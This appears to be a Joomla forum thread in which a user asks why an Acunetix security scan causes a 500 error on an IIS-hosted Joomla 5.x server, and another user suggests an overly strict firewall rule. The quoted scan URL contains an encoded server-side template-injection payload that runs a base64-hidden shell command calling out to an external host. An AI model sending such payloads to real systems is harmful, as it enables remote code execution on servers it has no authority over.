Acunetix "Internal Server Error"

[abernfr]

Our Information Security group runs Acunetix on all of our servers. On our Joomla 5.x server it reports an Internal Server Error when Acunetix tries the below URL on the server. Is there any way to harden Joomla 5.x to avoid this error condition occurring? (Server name removed from link for security.)

https://{server_name}/media/templates/site/cassiopeia/js/template.min.js?241464=%23set(%24engine%3d%22%22)%0a%23set(%24proc%3d%24engine.getClass().forName(%22java.lang.Runtime%22).getRuntime().exec(%22bash%20-c%20%7beval%2c%24(%7btr%2c%2f%2b%2c_-%7d%3c%3c%3cbnNsb29rdXAgZDVuYW9ndmF6a2V2LW9maG8xaXV6eXR6cGZteHplY3V1OWxta2xieDhqZy5yODcubWU%3d%7c%7bbase64%2c--decode%7d)%7d%22))%0a%23set(%24null%3d%24proc.waitFor())%0a%23set(%24istr%3d%24proc.getInputStream())%0a%23set(%24chr%3d%24engine.getClass().forName(%22java.lang.Character%22))%0a%23set(%24output%3d%22%22)%0a%23set(%24string%3d%24engine.getClass().forName(%22java.lang.String%22))%0a%23foreach(%24i%20in%20%5b1..%24istr.available()%5d)%0a%23set(%24output%3d%24output.concat(%24string.valueOf(%24chr.toChars(%24istr.read()))))%0a%23end%0a%24%7boutput%7d

[toivo]

Welcome to the Joomla forum!

AFAIK, in similar cases, when an Apache web server that runs the ModSecurity module reports a 500 Internal Server Error triggered by a rule that is too restrictive, the host managing the server modifies the rule and the 500 error is gone. There is no need to alter the Joomla core.

[abernfr]

I am running Joomla on IIS 10.0